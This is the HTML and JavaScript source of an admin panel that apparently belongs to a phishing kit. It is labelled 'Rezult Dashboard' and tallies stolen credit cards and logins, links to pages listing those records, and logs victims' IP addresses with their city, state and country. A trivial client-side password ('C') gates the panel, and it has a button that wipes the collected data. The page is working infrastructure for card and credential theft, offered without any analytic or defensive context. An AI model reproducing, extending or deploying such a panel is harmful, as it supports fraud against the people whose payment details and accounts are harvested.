<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>💻 Dashboard</title>
  <style>
    body {
      font-family: 'Courier New', Courier, monospace;
      background: #000;
      color: rgb(204, 5, 5);
      margin: 0;
      padding: 20px;
    }

    h1, h2 {
      margin-bottom: 10px;
      color: rgb(204, 5, 5);
      text-shadow: 0 0 5px rgb(204, 5, 5);
    }

    .dashboard {
      display: flex;
      flex-wrap: wrap;
      gap: 20px;
      margin-bottom: 30px;
    }

    .card {
      flex: 1 1 300px;
      background: #111;
      border: 1px solid rgb(204, 5, 5);
      border-radius: 10px;
      padding: 20px;
      box-shadow: 0 0 10px rgb(204, 5, 5);
      transition: all 0.2s ease;
    }

    .card:hover {
      transform: scale(1.02);
      box-shadow: 0 0 20px rgb(204, 5, 5);
    }

    .card h2 {
      margin: 0;
      font-size: 1.4em;
    }

    .card p {
      font-size: 2em;
      margin: 10px 0 0;
    }

    .button {
      display: inline-block;
      margin-top: 20px;
      padding: 10px 15px;
      background: #000;
      border: 1px solid rgb(204, 5, 5);
      color: rgb(204, 5, 5);
      border-radius: 5px;
      text-decoration: none;
      text-shadow: 0 0 3px rgb(204, 5, 5);
    }

    .button:hover {
      background: rgb(204, 5, 5);
      color: #000;
    }

    table {
      width: 100%;
      border-collapse: collapse;
      background: #111;
      border: 1px solid rgb(204, 5, 5);
    }

    th, td {
      padding: 10px;
      border-bottom: 1px solid rgb(204, 5, 5);
      text-align: left;
      font-size: 14px;
    }

    th {
      background: #000;
    }

    tr:hover {
      background: #002200;
    }

    .table-wrapper {
      overflow-x: auto;
      box-shadow: 0 0 10px rgb(204, 5, 5);
      border-radius: 10px;
    }

    .modal {
      position: fixed;
      z-index: 9999;
      background: rgba(0,0,0,0.9);
      inset: 0;
      display: flex;
      align-items: center;
      justify-content: center;
    }

    .modal-content {
      background: #111;
      padding: 30px;
      border-radius: 10px;
      text-align: center;
      box-shadow: 0 0 10px rgb(204, 5, 5);
      border: 1px solid rgb(204, 5, 5);
    }

    .modal h3 {
      color: rgb(204, 5, 5);
      margin-bottom: 10px;
    }

    .modal input {
      padding: 10px;
      width: 100%;
      margin-top: 10px;
      background: #000;
      color: rgb(204, 5, 5);
      border: 1px solid rgb(204, 5, 5);
      border-radius: 5px;
      font-size: 16px;
    }

    .modal button {
      margin-top: 15px;
      padding: 10px;
      width: 100%;
      background: #000;
      border: 1px solid rgb(204, 5, 5);
      color: rgb(204, 5, 5);
      border-radius: 5px;
      font-size: 16px;
      cursor: pointer;
      text-shadow: 0 0 2px rgb(204, 5, 5);
    }

    .modal button:hover {
      background: rgb(204, 5, 5);
      color: #000;
    }
    .back-btn {
            top: 10px;  
            right: 10px;
            position: absolute;
            background: #000;
            color: rgb(204, 5, 5);
            border: 1px solid rgb(204, 5, 5);
            padding: 6px 12px;
            border-radius: 4px;
            cursor: pointer;
            text-shadow: 0 0 2px rgb(204, 5, 5);
    }

    @keyframes flicker {
      0%, 18%, 22%, 25%, 53%, 57%, 100% {
        opacity: 1;
      }
      20%, 24%, 55% {
        opacity: 0.4;
      }
    }
  </style>
</head>
<body>
  <!-- Modal -->
  <div class="modal" id="passwordModal">
    <div class="modal-content">
      <h3>🔐 Dashboard Access</h3>
      <input type="password" id="passInput" placeholder="Enter password...">
      <button onclick="checkPassword()">Enter</button>
    </div>
  </div>

  <div id="mainContent" style="display:none;position: relative;">
  <a class="back-btn" href="setting.php">Setting</a>
    <h1>💻 Rezult  Dashboard</h1>
    <div style="margin-top: 20px;">
  <button class="button" onclick="resetData()">🗑 Reset All Data</button>
  <br/><br/>
</div>
    <div class="dashboard">
      <div class="card">
        <h2>Total Credit Cards</h2>
        <p id="ccCount">Loading...</p>
        <a class="button" href="creditcard.php">View Details</a>
      </div>
      <div class="card">
        <h2>Total Logins</h2>
        <p id="loginCount">Loading...</p>
        <a class="button" href="login.php">View Details</a>
      </div>
      <div class="card">
        <h2>Total Visitor</h2>
        <p id="visitorCount">Loading...</p>
      </div>
    </div>

    <h2>📍 IP Visitor Log</h2>
    <div class="table-wrapper">
      <table>
        <thead>
          <tr>
            <th>Time</th>
            <th>IP Address</th>
            <th>City</th>
            <th>State</th>
            <th>Country</th>
          </tr>
        </thead>
        <tbody id="ipTable">
          <tr><td colspan="4">Loading...</td></tr>
        </tbody>
      </table>
    </div>
  </div>

<script>
  const CORRECT_PASSWORD = "C";
  const COOKIE_NAME = "dashboard_auth";

  function setCookie(name, value, days) {
    const expires = new Date(Date.now() + days * 864e5).toUTCString();
    document.cookie = name + "=" + encodeURIComponent(value) + "; expires=" + expires + "; path=/";
  }

  function getCookie(name) {
    return document.cookie.split("; ").reduce((r, v) => {
      const parts = v.split("=");
      return parts[0] === name ? decodeURIComponent(parts[1]) : r;
    }, "");
  }

  function checkPassword() {
    const input = document.getElementById("passInput").value;
    if (input === CORRECT_PASSWORD) {
      setCookie(COOKIE_NAME, "true", 3);
      unlockDashboard();
    } else {
      alert("Incorrect password!");
    }
  }

  function unlockDashboard() {
    document.getElementById("passwordModal").style.display = "none";
    document.getElementById("mainContent").style.display = "block";
    loadDashboardData();
    setInterval(loadDashboardData, 5000);
  }

  function checkAuth() {
    if (getCookie(COOKIE_NAME) === "true") {
      unlockDashboard();
    }
  }

  async function loadDashboardData() {
    try {
      const res = await fetch("dashboard_data.php");
      const data = await res.json();

      document.getElementById("ccCount").textContent = data.total_cc;
      document.getElementById("loginCount").textContent = data.total_login;
      
      document.getElementById("visitorCount").textContent = data.ip_data.length;

      const ipTable = document.getElementById("ipTable");
      ipTable.innerHTML = "";

      data.ip_data.forEach(item => {
        const row = document.createElement("tr");
        row.innerHTML = `
          <td>${item.timestamp ?? "-"}</td>
          <td>${item.ip ?? "-"}</td>
          <td>${item.city ?? "-"}</td>
          <td>${item.state ?? "-"}</td>
          <td>${item.country ?? "-"}</td>
        `;
        ipTable.appendChild(row);
      });
    } catch (err) {
      console.error("Failed to load dashboard data:", err);
    }
  }
async function resetData() {
  if (!confirm("Are you sure you want to delete all data?")) return;

  try {
    const res = await fetch("reset_data.php", { method: "POST" });
    const result = await res.json();

    if (result.status === "reset_done") {
      alert("All data has been reset.");
      loadDashboardData(); // Refresh setelah reset
    } else {
      alert("Reset failed.");
    }
  } catch (err) {
    alert("Error while resetting data.");
  }
}
  checkAuth();
</script>
</body>
</html>
